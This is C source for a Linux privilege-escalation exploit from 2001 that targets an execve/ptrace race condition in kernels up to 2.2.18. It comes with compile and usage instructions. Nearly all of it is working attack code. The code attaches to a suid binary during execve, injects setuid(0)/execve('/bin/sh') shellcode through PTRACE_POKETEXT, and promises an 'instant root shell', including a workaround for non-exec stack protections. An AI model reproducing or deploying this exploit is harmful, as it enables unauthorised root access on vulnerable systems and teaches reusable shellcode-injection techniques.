/* * epcs2 (improved by lst [liquid@dqc.org]) * ~~~~~~~ * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18 * * originally by: * (c) 2001 Wojciech Purczynski / cliph / * * improved by: * lst [liquid@dqc.org] * * This sploit does _not_ use brute force. It does not need that. * It does only one attemt to sploit the race condition in execve. * Parent process waits for a context-switch that occur after * child task sleep in execve. * * It should work even on openwall-patched kernels (I haven't tested it). * * Compile it: * cc epcs.c -o epcs * Usage: * ./epcs [victim] * * It gives instant root shell with any of a suid binaries. * * If it does not work, try use some methods to ensure that execve * would sleep while loading binary file into memory, * * i.e.: cat /usr/lib/* >/dev/null 2>&1 * * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4 * This exploit does not work on 2.4.x because kernel won't set suid * privileges if user ptraces a binary. * But it is still exploitable on these kernels. * * Thanks to Bulba (he made me to take a look at this bug ;) ) * Greetings to SigSegv team. * * -- d00t * improved by lst [liquid@dqc.org] * props to kevin for most of the work * * now works on stack non-exec systems with some neat trickery for the automated * method, ie. no need to find the bss segment via objdump * * particularly it now rewrites the code instruction sets in the * dynamic linker _start segment and continues execution from there. * * an aside, due to the fact that the code self-modified, it wouldnt work * quite correctly on a stack non-exec system without playing directly with * the bss segment (ie no regs.eip = regs.esp change). this is much more * automated. however, do note that the previous version did not trigger stack * non-exec warnings due to how it was operating. note that the regs.eip = regs.esp * method will break on stack non-exec systems. * * as always.. enjoy. * */ #include #include #include #include #include #include #include #include #include #define CS_SIGNAL SIGUSR1 #define VICTIM "/usr/bin/passwd" #define SHELL "/bin/sh" /* * modified simple shell code with some trickery (hand tweaks) */ char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */ "\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */ "\x04\xb0\x0b\xcd\x80\x31\xc0\x89" "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00" ; /* pad me */ volatile int cs_detector=0; void cs_sig_handler(int sig) { cs_detector=1; } void do_victim(char * filename) { while (!cs_detector) ; kill(getppid(), CS_SIGNAL); execl(filename, filename, NULL); perror("execl"); exit(-1); } int check_execve(pid_t victim, char * filename) { char path[PATH_MAX+1]; char link[PATH_MAX+1]; int res; snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim); if (readlink(path, link, sizeof(link)-1)<0) { perror("readlink"); return -1; } link[sizeof(link)-1]='\0'; res=!strcmp(link, filename); if (res) fprintf(stderr, "child slept outside of execve\n"); return res; } int main(int argc, char * argv[]) { char * filename=VICTIM; pid_t victim; int error, i; struct user_regs_struct regs; /* take our command args if you wanna play with other progs */ if (argc>1) filename=argv[1]; signal(CS_SIGNAL, cs_sig_handler); victim=fork(); if (victim<0) { perror("fork: victim"); exit(-1); } if (victim==0) do_victim(filename); kill(victim, CS_SIGNAL); while (!cs_detector) ; if (ptrace(PTRACE_ATTACH, victim)) { perror("ptrace: PTRACE_ATTACH"); goto exit; } if (check_execve(victim, filename)) goto exit; (void)waitpid(victim, NULL, WUNTRACED); if (ptrace(PTRACE_CONT, victim, 0, 0)) { perror("ptrace: PTRACE_CONT"); goto exit; } (void)waitpid(victim, NULL, WUNTRACED); if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) { perror("ptrace: PTRACE_GETREGS"); goto exit; } /* make sure that last null is in there */ for (i=0; i<=strlen(shellcode); i+=4) { if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i, *(int*)(shellcode+i))) { perror("ptrace: PTRACE_POKETEXT"); goto exit; } } if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) { perror("ptrace: PTRACE_SETREGS"); goto exit; } fprintf(stderr, "bug exploited successfully.\nenjoy!\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0)) { perror("ptrace: PTRACE_DETACH"); goto exit; } (void)waitpid(victim, NULL, 0); return 0; exit: fprintf(stderr, "d0h! error!\n"); kill(victim, SIGKILL); return -1; } /* www.hack.co.za [09 April 2001]*/
